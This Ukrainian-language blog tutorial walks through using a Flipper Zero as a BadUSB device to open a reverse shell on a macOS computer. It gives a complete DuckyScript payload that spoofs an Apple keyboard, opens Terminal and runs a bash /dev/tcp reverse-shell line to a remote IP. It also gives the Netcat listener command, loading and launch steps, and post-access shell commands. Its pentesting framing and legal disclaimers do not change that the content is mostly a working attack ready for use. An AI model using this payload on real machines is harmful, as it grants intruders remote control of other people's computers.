Flipper Zero як інструмент пентесту, запуск Reverse Shell на macOS

26.11.2024 1 хвилин Автор: Lady Liberty

Дізнайтеся, як використовувати Flipper Zero для запуску Reverse Shell на macOS. Покрокова інструкція створення DuckyScript, налаштування Netcat та запуску BadUSB для перевірки системи на вразливості.

Інструменти для роботи

За допомогою Flipper Zero, компактного 12-рядкового текстового файлу на DuckyScript та віддаленого прослуховувача (Listener) на сервері Ubuntu, можна виконати запуск Reverse Shell на комп’ютері з macOS Ventura.

Зворотна оболонка на macOS використовується для різноманітних завдань, включаючи тестування кібербезпеки, дистанційне адміністрування систем та навчання захисту інформації. У сфері пентесту Reverse Shell допомагає виявляти слабкі місця в системах захисту та оцінювати їхню надійність. Однак варто пам’ятати, що застосування таких технологій на чужих або корпоративних пристроях без дозволу є порушенням законодавства та етичних норм. Усі дії мають виконуватися виключно в межах правового поля.

Flipper Zero являє собою універсальний портативний пристрій, призначений для взаємодії з цифровими системами. Він має широкий набір функцій для аналізу та модифікації різних видів бездротових сигналів і протоколів.

Основні можливості Flipper Zero охоплюють роботу з RFID, радіочастотними сигналами, інфрачервоним зв’язком та іншими типами бездротової комунікації. Гнучкий програмний код дозволяє адаптувати пристрій до потреб користувача та розширювати його функціонал для конкретних завдань.

Корисне навантаження BadUSB

Пристрої типу Flipper Zero BadUSB працюють із використанням корисних навантажень, створених на основі DuckyScript — простого сценарного мови, що дозволяє автоматизувати натискання клавіш на цільовому комп’ютері.

Основним ресурсом для розробки та пошуку прикладів сценаріїв DuckyScript є офіційний сайт Hak5, де представлена документація та приклади для реалізації різноманітних функцій.

Написання скрипта DuckyScript

Можна скористатися готовим сценарієм або створити власний, залежно від поставлених завдань. Нижче наведено приклад реалізації зворотної оболонки (Reverse Shell) для комп’ютерів на базі macOS.

Для створення сценарію достатньо відкрити будь-який текстовий редактор та ввести наведений текст. На macOS за замовчуванням доступна програма TextEdit, яка підходить для цих цілей.

ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER DELAY 1000

Для виконання цього завдання глибокі знання DuckyScript не є обов’язковими. Достатньо ознайомитися з шістьма основними командами, які використовуються у створеному сценарії.

IP-адресу 10.10.10.157 та порт 4444 необхідно змінити на відповідні IP-адресу та порт вашого сервера. Після цього файл слід зберегти під назвою rev_shell_macos.txt.

Варто зазначити, що в каталозі badusb пристрою Flipper Zero відсутня підтримка організації підкаталогів. Тому, якщо планується використання кількох корисних навантажень для різних операційних систем, варто дотримуватися чіткої угоди про найменування файлів для зручності.

Встановлення програми qflipper

Якщо програма qflipper ще не встановлена, необхідно перейти на офіційну сторінку оновлення Flipper Zero і завантажити інсталятор, який відповідає вашій операційній системі. Після завантаження виконайте встановлення згідно з інструкціями на сайті.

Встановлення Duckyscript на Flipper Zero

Відкрийте програму qflipper та виберіть піктограму папки, виділену червоним на скріншоті.

Виберіть і двічі клацніть SD-картку , щоб переглянути вміст.

Файл rev_shell_macos.txt, створений раніше, необхідно знайти у вашій файловій системі. Потім відкрийте програму qFlipper, перейдіть до розділу з вмістом SD-картки пристрою Flipper Zero, знайдіть папку badusb та перетягніть туди цей файл. Після завершення копіювання файл буде готовий до використання.

Вимкніть Flipper Zero від комп’ютера після копіювання файлу.

Очікування Reverse Shelll

BadUSB на основі Flipper Zero готовий до запуску, однак перед цим необхідно налаштувати віддалений прослуховувач на сервері. Для цього на сервері Ubuntu використовується команда:

$ nc -nlvp 4444

Ця команда запускає Netcat listener, який очікує вхідного з’єднання. Нижче наведено розбивку команди:

Тепер, коли Netcat listener готовий і чекає на вхідне з’єднання, можемо приступити до атаки BadUSB.

Запуск Reverse Shell

Найскладніше вже зроблено. Файл BadUSB reverse_shell_macos.txt записується, переміщається до Flipper Zero, і слухач Netcat очікує з’єднання.

Переходимо до меню «Bad USB».

Відкрийте меню Bad USB на Flipper Zero та знайдіть файл DuckyScript, який було скопійовано раніше. Якщо файл не відображається у списку, перевірте наступне:

  1. Чи був файл скопійований у правильний каталог (badusb).

  2. Чи використано розширення файлу .txt.

Як тільки файл rev_shell_macos знайдено, виберіть його зі списку та натисніть кнопку «Run» для запуску сценарію.

Як тільки на екрані Flipper Zero з’явиться попередження Connect to USB, підключіть пристрій до USB-порту вашого iMac або MacBook. Після цього натисніть кнопку “Run” для запуску сценарію. Під час виконання слідкуйте за прогресом у головному вікні пристрою, щоб переконатися, що сценарій виконується коректно.

Процес виконання сценарію BadUSB можна відстежувати у головному вікні пристрою Flipper Zero. Після того як статус виконання досягне 100%, це означає, що корисне навантаження завершено. На цьому етапі Flipper Zero можна безпечно відключити від USB-порту.

Під час виконання сценарію DuckyScript на екрані комп’ютера iMac можна спостерігати, як відбувається запуск експлойту. Водночас прослуховувач Netcat на сервері Ubuntu показує результати успішного з’єднання.

Керування комп’ютером

Після успішного запуску зворотної оболонки (Reverse Shell) ви отримуєте доступ до системи macOS. Тепер можна керувати комп’ютером так, ніби використовуєте фізичну клавіатуру, працюючи через оболонку BASH у Linux.

Через зворотну оболонку (Reverse Shell) доступно використання базових команд Linux для управління системою macOS. Нижче наведені приклади таких команд:

  • whoami — визначає ім’я користувача, під яким виконується з’єднання.

  • pwd — показує поточний робочий каталог.

  • ls — виводить список файлів і папок у поточному каталозі.

  • cd — використовується для переміщення між каталогами.

Ці команди дозволяють навігувати по файловій системі та взаємодіяти з операційною системою, як із локальним терміналом.

Наступні кроки

Розуміння принципів роботи Flipper Zero як пристрою BadUSB дозволяє створювати власні сценарії для автоматизації завдань або тестування безпеки. У якості основи можна використовувати:

  • Офіційний сайт Hak5, де представлено документацію та приклади сценаріїв DuckyScript.

  • Репозиторії на GitHub, які містять готові сценарії та корисні напрацювання для подальшого їхнього адаптування.

Важливо пам’ятати про дотримання етичних норм та законодавства: застосовувати BadUSB слід лише на власних пристроях або за наявності чітко отриманого дозволу. Будь-які інші дії можуть мати юридичні та моральні наслідки.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.